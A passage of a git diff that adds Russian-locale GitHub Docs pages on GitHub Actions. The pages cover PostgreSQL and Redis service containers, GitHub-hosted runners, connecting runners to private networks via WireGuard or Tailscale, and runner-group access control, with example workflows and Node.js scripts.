сценария, который подключается к службе PostgreSQL и добавляет новую таблицу с данными заполнителей. Затем сценарий выводит в терминал значения, хранящиеся в таблице PostgreSQL. Сценарий может использовать любой выбранный язык, но в этом примере используется Node.js и модуль npm `pg`. Дополнительные сведения см. в [модуле npm pg](https://www.npmjs.com/package/pg). + +Вы можете изменить *client.js*, чтобы включить все операции PostgreSQL, необходимые для вашего рабочего процесса. В этом примере сценарий подключается к службе PostgreSQL, добавляет таблицу в базу данных `postgres`, вставляет данные заполнителей, а затем извлекает данные. + +{% data reusables.actions.service-container-add-script %} + +```javascript{:copy} +const { Client } = require('pg'); + +const pgclient = new Client({ + host: process.env.POSTGRES_HOST, + port: process.env.POSTGRES_PORT, + user: 'postgres', + password: 'postgres', + database: 'postgres' +}); + +pgclient.connect(); + +const table = 'CREATE TABLE student(id SERIAL PRIMARY KEY, firstName VARCHAR(40) NOT NULL, lastName VARCHAR(40) NOT NULL, age INT, address VARCHAR(80), email VARCHAR(40))' +const text = 'INSERT INTO student(firstname, lastname, age, address, email) VALUES($1, $2, $3, $4, $5) RETURNING *' +const values = ['Mona the', 'Octocat', 9, '88 Colin P Kelly Jr St, San Francisco, CA 94107, United States', 'octocat@github.com'] + +pgclient.query(table, (err, res) => { + if (err) throw err +}); + +pgclient.query(text, values, (err, res) => { + if (err) throw err +}); + +pgclient.query('SELECT * FROM student', (err, res) => { + if (err) throw err + console.log(err, res.rows) // Print the data in student table + pgclient.end() +}); +``` + +Сценарий создает новое подключение к службе PostgreSQL и использует переменные среды `POSTGRES_HOST` и `POSTGRES_PORT` для указания IP-адреса и порта службы PostgreSQL. Если `host` и `port` не определены, по умолчанию используется узел `localhost` и порт 5432. + +Сценарий создает таблицу и заполняет ее данными заполнителя. Чтобы убедиться в том, что база данных `postgres` содержит эти данные, сценарий выводит содержимое базы данных в журнал консоли. + +При запуске этого рабочего процесса вы увидите следующие выходные данные на шаге «Подключение к PostgreSQL», который подтверждает успешное создание таблицы PostgreSQL и добавление данных: + +``` +null [ { id: 1, + firstname: 'Mona the', + lastname: 'Octocat', + age: 9, + address: + '88 Colin P Kelly Jr St, San Francisco, CA 94107, United States', + email: 'octocat@github.com' } ] +``` diff --git a/translations/ru-RU/content/actions/using-containerized-services/creating-redis-service-containers.md b/translations/ru-RU/content/actions/using-containerized-services/creating-redis-service-containers.md new file mode 100644 index 000000000000..19850ed80646 --- /dev/null +++ b/translations/ru-RU/content/actions/using-containerized-services/creating-redis-service-containers.md @@ -0,0 +1,331 @@ +--- +title: Создание контейнеров служб Redis +shortTitle: Create Redis service containers +intro: 'Контейнеры служб можно использовать для создания клиента Redis в рабочем процессе. В этом руководстве показаны примеры создания службы Redis для заданий, которые выполняются в контейнерах или непосредственно на компьютере средства выполнения тестов.' +redirect_from: + - /actions/automating-your-workflow-with-github-actions/creating-redis-service-containers + - /actions/configuring-and-managing-workflows/creating-redis-service-containers + - /actions/guides/creating-redis-service-containers +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Containers + - Docker +ms.openlocfilehash: 990e84cb4e25ec1334c63a83d827a8d96c0175eb +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010067' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве приведены примеры рабочих процессов, которые настраивают контейнер службы с помощью образа Docker Hub`redis`. Рабочий процесс запускает сценарий для создания клиента Redis и его заполнения данными. Чтобы убедиться в том, что рабочий процесс создает и заполняет клиент Redis, сценарий выводит данные клиента в консоль. + +{% data reusables.actions.docker-container-os-support %} + +## Предварительные требования + +{% data reusables.actions.service-container-prereqs %} + +Кроме того, вы можете получить общее представление о синтаксисе YAML для {% data variables.product.prodname_actions %} и Redis. Дополнительные сведения можно найти в разделе + +- «[Сведения о {% data variables.product.prodname_actions %}](/actions/learn-github-actions)» +- «[Начало работы с Redis](https://redislabs.com/get-started-with-redis/)» в документации по Redis + +## Выполнение заданий в контейнерах + +{% data reusables.actions.container-jobs-intro %} + +{% data reusables.actions.copy-workflow-file %} + +```yaml{:copy} +name: Redis container example +on: push + +jobs: + # Label of the container job + container-job: + # Containers must run in Linux based operating systems + runs-on: ubuntu-latest + # Docker Hub image that `container-job` executes in + container: node:10.18-jessie + + # Service containers to run with `container-job` + services: + # Label used to access the service container + redis: + # Docker Hub image + image: redis + # Set health checks to wait until redis has started + options: >- + --health-cmd "redis-cli ping" + --health-interval 10s + --health-timeout 5s + --health-retries 5 + + steps: + # Downloads a copy of the code in your repository before running CI tests + - name: Check out repository code + uses: {% data reusables.actions.action-checkout %} + + # Performs a clean installation of all dependencies in the `package.json` file + # For more information, see https://docs.npmjs.com/cli/ci.html + - name: Install dependencies + run: npm ci + + - name: Connect to Redis + # Runs a script that creates a Redis client, populates + # the client with data, and retrieves data + run: node client.js + # Environment variable used by the `client.js` script to create a new Redis client. + env: + # The hostname used to communicate with the Redis service container + REDIS_HOST: redis + # The default Redis port + REDIS_PORT: 6379 +``` + +### Настройка задания контейнера + +{% data reusables.actions.service-container-host %} + +{% data reusables.actions.redis-label-description %} + +```yaml{:copy} +jobs: + # Label of the container job + container-job: + # Containers must run in Linux based operating systems + runs-on: ubuntu-latest + # Docker Hub image that `container-job` executes in + container: node:10.18-jessie + + # Service containers to run with `container-job` + services: + # Label used to access the service container + redis: + # Docker Hub image + image: redis + # Set health checks to wait until redis has started + options: >- + --health-cmd "redis-cli ping" + --health-interval 10s + --health-timeout 5s + --health-retries 5 +``` + +### Настройка этапов + +{% data reusables.actions.service-template-steps %} + +```yaml{:copy} +steps: + # Downloads a copy of the code in your repository before running CI tests + - name: Check out repository code + uses: {% data reusables.actions.action-checkout %} + + # Performs a clean installation of all dependencies in the `package.json` file + # For more information, see https://docs.npmjs.com/cli/ci.html + - name: Install dependencies + run: npm ci + + - name: Connect to Redis + # Runs a script that creates a Redis client, populates + # the client with data, and retrieves data + run: node client.js + # Environment variable used by the `client.js` script to create a new Redis client. + env: + # The hostname used to communicate with the Redis service container + REDIS_HOST: redis + # The default Redis port + REDIS_PORT: 6379 +``` + +{% data reusables.actions.redis-environment-variables %} + +Имя узла службы Redis — это метка, настроенная в рабочем процессе; в данном случае — `redis`. Так как контейнеры Docker в той же пользовательской сети моста открывают все порты по умолчанию, вы можете получить доступ к контейнеру службы через стандартный порт Redis 6379. + +## Выполнение заданий непосредственно на компьютере средства выполнения тестов + +При запуске задания непосредственно на компьютере средства выполнения тестов необходимо сопоставить порты контейнера службы с портами на узле Docker. Вы можете получить доступ к контейнерам служб из узла Docker, используя `localhost` и номер порта узла Docker. + +{% data reusables.actions.copy-workflow-file %} + +```yaml{:copy} +name: Redis runner example +on: push + +jobs: + # Label of the runner job + runner-job: + # You must use a Linux environment when using service containers or container jobs + runs-on: ubuntu-latest + + # Service containers to run with `runner-job` + services: + # Label used to access the service container + redis: + # Docker Hub image + image: redis + # Set health checks to wait until redis has started + options: >- + --health-cmd "redis-cli ping" + --health-interval 10s + --health-timeout 5s + --health-retries 5 + ports: + # Maps port 6379 on service container to the host + - 6379:6379 + + steps: + # Downloads a copy of the code in your repository before running CI tests + - name: Check out repository code + uses: {% data reusables.actions.action-checkout %} + + # Performs a clean installation of all dependencies in the `package.json` file + # For more information, see https://docs.npmjs.com/cli/ci.html + - name: Install dependencies + run: npm ci + + - name: Connect to Redis + # Runs a script that creates a Redis client, populates + # the client with data, and retrieves data + run: node client.js + # Environment variable used by the `client.js` script to create + # a new Redis client. + env: + # The hostname used to communicate with the Redis service container + REDIS_HOST: localhost + # The default Redis port + REDIS_PORT: 6379 +``` + +### Настройка задания средства выполнения тестов + +{% data reusables.actions.service-container-host-runner %} + +{% data reusables.actions.redis-label-description %} + +Рабочий процесс сопоставляет порт 6379 в контейнере службы Redis с узлом Docker. Дополнительные сведения о ключевом слове `ports` см. в разделе «[Сведения о контейнерах служб](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)». + +```yaml{:copy} +jobs: + # Label of the runner job + runner-job: + # You must use a Linux environment when using service containers or container jobs + runs-on: ubuntu-latest + + # Service containers to run with `runner-job` + services: + # Label used to access the service container + redis: + # Docker Hub image + image: redis + # Set health checks to wait until redis has started + options: >- + --health-cmd "redis-cli ping" + --health-interval 10s + --health-timeout 5s + --health-retries 5 + ports: + # Maps port 6379 on service container to the host + - 6379:6379 +``` + +### Настройка этапов + +{% data reusables.actions.service-template-steps %} + +```yaml{:copy} +steps: + # Downloads a copy of the code in your repository before running CI tests + - name: Check out repository code + uses: {% data reusables.actions.action-checkout %} + + # Performs a clean installation of all dependencies in the `package.json` file + # For more information, see https://docs.npmjs.com/cli/ci.html + - name: Install dependencies + run: npm ci + + - name: Connect to Redis + # Runs a script that creates a Redis client, populates + # the client with data, and retrieves data + run: node client.js + # Environment variable used by the `client.js` script to create + # a new Redis client. + env: + # The hostname used to communicate with the Redis service container + REDIS_HOST: localhost + # The default Redis port + REDIS_PORT: 6379 +``` + +{% data reusables.actions.redis-environment-variables %} + +{% data reusables.actions.service-container-localhost %} + +## Тестирование контейнера службы Redis + +Вы можете протестировать рабочий процесс с помощью следующего сценария, который создает клиент Redis и заполняет клиент данными заполнителя. Затем сценарий выводит в терминал значения, хранящиеся в клиенте Redis. Сценарий может использовать любой выбранный язык, но в этом примере используется Node.js и модуль npm `redis`. Дополнительные сведения см. в [модуле npm redis](https://www.npmjs.com/package/redis). + +Вы можете изменить *client.js*, чтобы включить все операции Redis, необходимые для вашего рабочего процесса. В этом примере сценарий создает экземпляр клиента Redis, добавляет данные заполнителя, а затем извлекает данные. + +{% data reusables.actions.service-container-add-script %} + +```javascript{:copy} +const redis = require("redis"); + +// Creates a new Redis client +// If REDIS_HOST is not set, the default host is localhost +// If REDIS_PORT is not set, the default port is 6379 +const redisClient = redis.createClient({ + host: process.env.REDIS_HOST, + port: process.env.REDIS_PORT +}); + +redisClient.on("error", function(err) { + console.log("Error " + err); +}); + +// Sets the key "octocat" to a value of "Mona the octocat" +redisClient.set("octocat", "Mona the Octocat", redis.print); +// Sets a key to "octocat", field to "species", and "value" to "Cat and Octopus" +redisClient.hset("species", "octocat", "Cat and Octopus", redis.print); +// Sets a key to "octocat", field to "species", and "value" to "Dinosaur and Octopus" +redisClient.hset("species", "dinotocat", "Dinosaur and Octopus", redis.print); +// Sets a key to "octocat", field to "species", and "value" to "Cat and Robot" +redisClient.hset(["species", "robotocat", "Cat and Robot"], redis.print); +// Gets all fields in "species" key + +redisClient.hkeys("species", function (err, replies) { + console.log(replies.length + " replies:"); + replies.forEach(function (reply, i) { + console.log(" " + i + ": " + reply); + }); + redisClient.quit(); +}); +``` + +Сценарий создает новый клиент Redis с помощью метода `createClient`, который принимает параметр `host` и `port`. Сценарий использует переменные среды `REDIS_HOST` и `REDIS_PORT` для настройки IP-адреса порта клиента. Если `host` и `port` не определены, по умолчанию используется узел `localhost` и порт 6379. + +Сценарий использует методы `set` и `hset` для заполнения базы данных ключами, полями и значениями. Чтобы убедиться, что клиент Redis содержит эти данные, сценарий выводит содержимое базы данных в журнал консоли. + +При запуске этого рабочего процесса вы увидите следующие выходные данные на шаге «Подключение к Redis», подтверждающие, что вы создали клиент Redis и добавили данные: + +``` +Reply: OK +Reply: 1 +Reply: 1 +Reply: 1 +3 replies: + 0: octocat + 1: dinotocat + 2: robotocat +``` diff --git a/translations/ru-RU/content/actions/using-containerized-services/index.md b/translations/ru-RU/content/actions/using-containerized-services/index.md new file mode 100644 index 000000000000..3380193d2b98 --- /dev/null +++ b/translations/ru-RU/content/actions/using-containerized-services/index.md @@ -0,0 +1,25 @@ +--- +title: Использование контейнерных служб +shortTitle: Containerized services +intro: 'Контейнерные службы можно использовать в рабочих процессах {% data variables.product.prodname_actions %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +redirect_from: + - /actions/automating-your-workflow-with-github-actions/using-databases-and-services + - /actions/configuring-and-managing-workflows/using-databases-and-service-containers + - /actions/guides/using-databases-and-service-containers +children: + - /about-service-containers + - /creating-postgresql-service-containers + - /creating-redis-service-containers +ms.openlocfilehash: 33d201cd4390c6a379d59d2e42090e82f2f98fe8 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145121112' +--- + diff --git a/translations/ru-RU/content/actions/using-github-hosted-runners/about-github-hosted-runners.md b/translations/ru-RU/content/actions/using-github-hosted-runners/about-github-hosted-runners.md new file mode 100644 index 000000000000..d47babe64e76 --- /dev/null +++ b/translations/ru-RU/content/actions/using-github-hosted-runners/about-github-hosted-runners.md @@ -0,0 +1,206 @@ +--- +title: About GitHub-hosted runners +shortTitle: About GitHub-hosted runners +intro: '{% data variables.product.prodname_dotcom %} offers hosted virtual machines to run workflows. The virtual machine contains an environment of tools, packages, and settings available for {% data variables.product.prodname_actions %} to use.' +redirect_from: + - /articles/virtual-environments-for-github-actions + - /github/automating-your-workflow-with-github-actions/virtual-environments-for-github-actions + - /github/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners + - /actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners + - /actions/reference/virtual-environments-for-github-hosted-runners + - /actions/reference/software-installed-on-github-hosted-runners + - /actions/reference/specifications-for-github-hosted-runners +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghes: '*' + ghec: '*' +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Overview of {% data variables.product.prodname_dotcom %}-hosted runners + +Runners are the machines that execute jobs in a {% data variables.product.prodname_actions %} workflow. For example, a runner can clone your repository locally, install testing software, and then run commands that evaluate your code. + +{% data variables.product.prodname_dotcom %} provides runners that you can use to run your jobs, or you can [host your own runners](/actions/hosting-your-own-runners/about-self-hosted-runners). Each {% data variables.product.prodname_dotcom %}-hosted runner is a new virtual machine (VM) hosted by {% data variables.product.prodname_dotcom %} with the runner application and other tools preinstalled, and is available with Ubuntu Linux, Windows, or macOS operating systems. When you use a {% data variables.product.prodname_dotcom %}-hosted runner, machine maintenance and upgrades are taken care of for you. + +{% ifversion not ghes %} + +## Using a {% data variables.product.prodname_dotcom %}-hosted runner + +To use a {% data variables.product.prodname_dotcom %}-hosted runner, create a job and use `runs-on` to specify the type of runner that will process the job, such as `ubuntu-latest`, `windows-latest`, or `macos-latest`. For the full list of runner types, see "[Supported runners and hardware resources](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources)." + +When the job begins, {% data variables.product.prodname_dotcom %} automatically provisions a new VM for that job. All steps in the job execute on the VM, allowing the steps in that job to share information using the runner's filesystem. You can run workflows directly on the VM or in a Docker container. When the job has finished, the VM is automatically decommissioned. + +The following diagram demonstrates how two jobs in a workflow are executed on two different {% data variables.product.prodname_dotcom %}-hosted runners. + +![Two runners processing separate jobs](/assets/images/help/images/overview-github-hosted-runner.png) + +The following example workflow has two jobs, named `Run-npm-on-Ubuntu` and `Run-PSScriptAnalyzer-on-Windows`. When this workflow is triggered, {% data variables.product.prodname_dotcom %} provisions a new virtual machine for each job. + +- The job named `Run-npm-on-Ubuntu` is executed on a Linux VM, because the job's `runs-on:` specifies `ubuntu-latest`. +- The job named `Run-PSScriptAnalyzer-on-Windows` is executed on a Windows VM, because the job's `runs-on:` specifies `windows-latest`. + +```yaml{:copy} +name: Run commands on different operating systems +on: + push: + branches: [ main ] + pull_request: + branches: [ main ] + +jobs: + Run-npm-on-Ubuntu: + name: Run npm on Ubuntu + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '14' + - run: npm help + + Run-PSScriptAnalyzer-on-Windows: + name: Run PSScriptAnalyzer on Windows + runs-on: windows-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Install PSScriptAnalyzer module + shell: pwsh + run: | + Set-PSRepository PSGallery -InstallationPolicy Trusted + Install-Module PSScriptAnalyzer -ErrorAction Stop + - name: Get list of rules + shell: pwsh + run: | + Get-ScriptAnalyzerRule +``` + +While the job runs, the logs and output can be viewed in the {% data variables.product.prodname_dotcom %} UI: + +![Job output in the Actions UI](/assets/images/help/repository/actions-runner-output.png) + +{% data reusables.actions.runner-app-open-source %} + +## Supported runners and hardware resources + +{% ifversion actions-hosted-runners %} + +{% note %} + +**Note**: {% data variables.product.prodname_dotcom %} also offers {% data variables.actions.hosted_runner %}s, which are available in larger configurations. For more information, see "[Machine specs for {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/using-larger-runners#machine-specs-for-larger-runners)." + +{% endnote %} +{% endif %} + +Hardware specification for Windows and Linux virtual machines: +- 2-core CPU (x86_64) +- 7 GB of RAM +- 14 GB of SSD space + +Hardware specification for macOS virtual machines: +- 3-core CPU (x86_64) +- 14 GB of RAM +- 14 GB of SSD space + +{% data reusables.actions.supported-github-runners %} + +Workflow logs list the runner used to run a job. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)." + +## Supported software + +The software tools included in {% data variables.product.prodname_dotcom %}-hosted runners are updated weekly. The update process takes several days, and the list of preinstalled software on the `main` branch is updated after the whole deployment ends. +### Preinstalled software + +Workflow logs include a link to the preinstalled tools on the exact runner. To find this information in the workflow log, expand the `Set up job` section. Under that section, expand the `Runner Image` section. The link following `Included Software` will describe the preinstalled tools on the runner that ran the workflow. +![Installed software link](/assets/images/actions-runner-installed-software-link.png) +For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)." + +For the overall list of included tools for each runner operating system, see the links below: + +* [Ubuntu 22.04 LTS](https://github.com/actions/runner-images/blob/main/images/linux/Ubuntu2204-Readme.md) +* [Ubuntu 20.04 LTS](https://github.com/actions/runner-images/blob/main/images/linux/Ubuntu2004-Readme.md) +* [Ubuntu 18.04 LTS](https://github.com/actions/runner-images/blob/main/images/linux/Ubuntu1804-Readme.md) (deprecated) +* [Windows Server 2022](https://github.com/actions/runner-images/blob/main/images/win/Windows2022-Readme.md) +* [Windows Server 2019](https://github.com/actions/runner-images/blob/main/images/win/Windows2019-Readme.md) +* [macOS 12](https://github.com/actions/runner-images/blob/main/images/macos/macos-12-Readme.md) +* [macOS 11](https://github.com/actions/runner-images/blob/main/images/macos/macos-11-Readme.md) +* [macOS 10.15](https://github.com/actions/runner-images/blob/main/images/macos/macos-10.15-Readme.md) + +{% data variables.product.prodname_dotcom %}-hosted runners include the operating system's default built-in tools, in addition to the packages listed in the above references. For example, Ubuntu and macOS runners include `grep`, `find`, and `which`, among other default tools. + +### Using preinstalled software + +We recommend using actions to interact with the software installed on runners. This approach has several benefits: +- Usually, actions provide more flexible functionality like versions selection, ability to pass arguments, and parameters +- It ensures the tool versions used in your workflow will remain the same regardless of software updates + +If there is a tool that you'd like to request, please open an issue at [actions/runner-images](https://github.com/actions/runner-images). This repository also contains announcements about all major software updates on runners. + +### Installing additional software + +You can install additional software on {% data variables.product.prodname_dotcom %}-hosted runners. For more information, see "[Customizing GitHub-hosted runners](/actions/using-github-hosted-runners/customizing-github-hosted-runners)". + +## Cloud hosts used by {% data variables.product.prodname_dotcom %}-hosted runners + +{% data variables.product.prodname_dotcom %} hosts Linux and Windows runners on `Standard_DS2_v2` virtual machines in Microsoft Azure with the {% data variables.product.prodname_actions %} runner application installed. The {% data variables.product.prodname_dotcom %}-hosted runner application is a fork of the Azure Pipelines Agent. Inbound ICMP packets are blocked for all Azure virtual machines, so ping or traceroute commands might not work. For more information about the `Standard_DS2_v2` resources, see "[Dv2 and DSv2-series](https://docs.microsoft.com/azure/virtual-machines/dv2-dsv2-series#dsv2-series)" in the Microsoft Azure documentation. + +{% data variables.product.prodname_dotcom %} hosts macOS runners in {% data variables.product.prodname_dotcom %}'s own macOS Cloud. + +## Workflow continuity + +{% data reusables.actions.runner-workflow-continuity %} + +In addition, if the workflow run has been successfully queued, but has not been processed by a {% data variables.product.prodname_dotcom %}-hosted runner within 45 minutes, then the queued workflow run is discarded. + +## Administrative privileges + +The Linux and macOS virtual machines both run using passwordless `sudo`. When you need to execute commands or install tools that require more privileges than the current user, you can use `sudo` without needing to provide a password. For more information, see the "[Sudo Manual](https://www.sudo.ws/man/1.8.27/sudo.man.html)." + +Windows virtual machines are configured to run as administrators with User Account Control (UAC) disabled. For more information, see "[How User Account Control works](https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)" in the Windows documentation. + +## IP addresses + +{% note %} + +**Note:** If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you cannot use {% data variables.product.prodname_dotcom %}-hosted runners and must instead use self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)." + +{% endnote %} + +To get a list of IP address ranges that {% data variables.product.prodname_actions %} uses for {% data variables.product.prodname_dotcom %}-hosted runners, you can use the {% data variables.product.prodname_dotcom %} REST API. For more information, see the `actions` key in the response of the "[Get GitHub meta information](/rest/reference/meta#get-github-meta-information)" endpoint. + +Windows and Ubuntu runners are hosted in Azure and subsequently have the same IP address ranges as the Azure datacenters. macOS runners are hosted in {% data variables.product.prodname_dotcom %}'s own macOS cloud. + +Since there are so many IP address ranges for {% data variables.product.prodname_dotcom %}-hosted runners, we do not recommend that you use these as allow-lists for your internal resources. + +The list of {% data variables.product.prodname_actions %} IP addresses returned by the API is updated once a week. + +## File systems + +{% data variables.product.prodname_dotcom %} executes actions and shell commands in specific directories on the virtual machine. The file paths on virtual machines are not static. Use the environment variables {% data variables.product.prodname_dotcom %} provides to construct file paths for the `home`, `workspace`, and `workflow` directories. + +| Directory | Environment variable | Description | +|-----------|----------------------|-------------| +| `home` | `HOME` | Contains user-related data. For example, this directory could contain credentials from a login attempt. | +| `workspace` | `GITHUB_WORKSPACE` | Actions and shell commands execute in this directory. An action can modify the contents of this directory, which subsequent actions can access. | +| `workflow/event.json` | `GITHUB_EVENT_PATH` | The `POST` payload of the webhook event that triggered the workflow. {% data variables.product.prodname_dotcom %} rewrites this each time an action executes to isolate file content between actions. + +For a list of the environment variables {% data variables.product.prodname_dotcom %} creates for each workflow, see "[Using environment variables](/github/automating-your-workflow-with-github-actions/using-environment-variables)." + +### Docker container filesystem + +Actions that run in Docker containers have static directories under the `/github` path. However, we strongly recommend using the default environment variables to construct file paths in Docker containers. + +{% data variables.product.prodname_dotcom %} reserves the `/github` path prefix and creates three directories for actions. + +- `/github/home` +- `/github/workspace` - {% data reusables.repositories.action-root-user-required %} +- `/github/workflow` + +## Further reading +- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)" +- You can use a matrix strategy to run your jobs on multiple images. For more information, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)." + +{% endif %} diff --git a/translations/ru-RU/content/actions/using-github-hosted-runners/connecting-to-a-private-network.md b/translations/ru-RU/content/actions/using-github-hosted-runners/connecting-to-a-private-network.md new file mode 100644 index 000000000000..6210b2ecc57f --- /dev/null +++ b/translations/ru-RU/content/actions/using-github-hosted-runners/connecting-to-a-private-network.md @@ -0,0 +1,105 @@ +--- +title: Connecting to a private network +shortTitle: Connect to a private network +intro: 'You can connect {% data variables.product.prodname_dotcom %}-hosted runners to resources on a private network, including package registries, secret managers, and other on-premises services.' +versions: + fpt: '*' + ghes: '*' + ghec: '*' +type: how_to +topics: + - Actions + - Developer +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About {% data variables.product.prodname_dotcom %}-hosted runners networking + +By default, {% data variables.product.prodname_dotcom %}-hosted runners have access to the public internet. However, you may also want these runners to access resources on your private network, such as a package registry, a secret manager, or other on-premise services. + +{% data variables.product.prodname_dotcom %}-hosted runners are shared across all {% data variables.product.prodname_dotcom %} customers, so you will need a way of connecting your private network to just your runners while they are running your workflows. There are a few different approaches you could take to configure this access, each with different advantages and disadvantages. + +{% ifversion fpt or ghec or ghes > 3.4 %} +### Using an API Gateway with OIDC + +With {% data variables.product.prodname_actions %}, you can use OpenID Connect (OIDC) tokens to authenticate your workflow outside of {% data variables.product.prodname_actions %}. For example, you could run an API Gateway on the edge of your private network that authenticates incoming requests with the OIDC token and then makes API requests on behalf of your workflow in your private network. + +The following diagram gives an overview of this solution's architecture: + +![Diagram of an OIDC gateway](/assets/images/help/images/actions-oidc-gateway.png) + +It's important that you authenticate not just that the OIDC token came from {% data variables.product.prodname_actions %}, but that it came specifically from your expected workflows, so that other {% data variables.product.prodname_actions %} users aren't able to access services in your private network. You can use OIDC claims to create these conditions. For more information, see "[Defining trust conditions on cloud roles using OIDC claims](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#defining-trust-conditions-on-cloud-roles-using-oidc-claims)." + +The main disadvantage of this approach is you have to implement the API gateway to make requests on your behalf, as well as run it on the edge of your network. + +But there are various advantages too: +- You don't need to configure any firewalls, or modify the routing of your private network. +- The API gateway is stateless, and so it scales horizontally to handle high availability and high throughput. + +For more information, see [a reference implementation of an API Gateway](https://github.com/github/actions-oidc-gateway-example) (note that this requires customization for your use case and is not ready-to-run as-is), and "[About security hardening with OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)". +{% endif %} + +### Using WireGuard to create a network overlay + +If you don't want to maintain separate infrastructure for an API Gateway, you can create an overlay network between your runner and a service in your private network, by running WireGuard in both places. + +There are various disadvantages to this approach: + +- To reach WireGuard running on your private service, you will need a well-known IP address and port that your workflow can reference: this can either be a public IP address and port, a port mapping on a network gateway, or a service that dynamically updates DNS. +- WireGuard doesn't handle NAT traversal out of the box, so you'll need to identify a way to provide this service. +- This connection is one-to-one, so if you need high availability or high throughput you'll need to build that on top of WireGuard. +- You'll need to generate and securely store keys for both the runner and your private service. WireGuard uses UDP, so your network must support UDP traffic. + +There are some advantages too, as you can run WireGuard on an existing server so you don't have to maintain separate infrastructure, and it's well supported on {% data variables.product.prodname_dotcom %}-hosted runners. + +### Example: Configuring WireGuard + +This example workflow configures WireGuard to connect to a private service. + +For this example, the WireGuard instance running in the private network has this configuration: +- Overlay network IP address of `192.168.1.1` +- Public IP address and port of `1.2.3.4:56789` +- Public key `examplepubkey1234...` + +The WireGuard instance in the {% data variables.product.prodname_actions %} runner has this configuration: +- Overlay network IP address of `192.168.1.2` +- Private key stores as an {% data variables.product.prodname_actions %} secret under `WIREGUARD_PRIVATE_KEY` + +```yaml +name: WireGuard example + +on: + workflow_dispatch: + +jobs: + wireguard_example: + runs-on: ubuntu-latest + steps: + - run: sudo apt install wireguard + + - run: echo "${{ secrets.WIREGUARD_PRIVATE_KEY }}" > privatekey + + - run: sudo ip link add dev wg0 type wireguard + + - run: sudo ip address add dev wg0 192.168.1.2 peer 192.168.1.1 + + - run: sudo wg set wg0 listen-port 48123 private-key privatekey peer examplepubkey1234... allowed-ips 0.0.0.0/0 endpoint 1.2.3.4:56789 + + - run: sudo ip link set up dev wg0 + + - run: curl -vvv http://192.168.1.1 +``` + +For more information, see [WireGuard's Quick Start](https://www.wireguard.com/quickstart/), as well as "[Encrypted Secrets](/actions/security-guides/encrypted-secrets)" for how to securely store keys. + +### Using Tailscale to create a network overlay + +Tailscale is a commercial product built on top of WireGuard. This option is very similar to WireGuard, except Tailscale is more of a complete product experience instead of an open source component. + +It's disadvantages are similar to WireGuard: The connection is one-to-one, so you might need to do additional work for high availability or high throughput. You still need to generate and securely store keys. The protocol is still UDP, so your network must support UDP traffic. + +However, there are some advantages over WireGuard: NAT traversal is built-in, so you don't need to expose a port to the public internet. It is by far the quickest of these options to get up and running, since Tailscale provides an {% data variables.product.prodname_actions %} workflow with a single step to connect to the overlay network. + +For more information, see the [Tailscale GitHub Action](https://github.com/tailscale/github-action), as well as "[Encrypted Secrets](/actions/security-guides/encrypted-secrets)" for how to securely store keys. diff --git a/translations/ru-RU/content/actions/using-github-hosted-runners/controlling-access-to-larger-runners.md b/translations/ru-RU/content/actions/using-github-hosted-runners/controlling-access-to-larger-runners.md new file mode 100644 index 000000000000..5255ee962958 --- /dev/null +++ b/translations/ru-RU/content/actions/using-github-hosted-runners/controlling-access-to-larger-runners.md @@ -0,0 +1,53 @@ +--- +title: Controlling access to larger runners +shortTitle: 'Control access to {% data variables.actions.hosted_runner %}s' +intro: 'You can use policies to limit access to {% data variables.actions.hosted_runner %}s that have been added to an organization or enterprise.' +product: '{% data reusables.gated-features.hosted-runners %}' +miniTocMaxHeadingLevel: 3 +versions: + feature: actions-hosted-runners +type: tutorial +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About runner groups + +{% data reusables.actions.about-runner-groups %} {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/using-github-hosted-runners/controlling-access-to-larger-runners).{% endif %} + +{% ifversion ghec or ghes or ghae %} + +## Creating a runner group for an organization + +{% data reusables.actions.hosted-runner-security-admonition %} +{% data reusables.actions.creating-a-runner-group-for-an-organization %} + +## Creating a runner group for an enterprise + +{% data reusables.actions.hosted-runner-security-admonition %} +{% data reusables.actions.creating-a-runner-group-for-an-enterprise %} + +{% endif %} + +{% data reusables.actions.section-using-unique-names-for-runner-groups %} + +## Changing the access policy of a runner group + +{% data reusables.actions.hosted-runner-security-admonition %} +{% data reusables.actions.changing-the-access-policy-of-a-runner-group %} + +## Changing the name of a runner group + +{% data 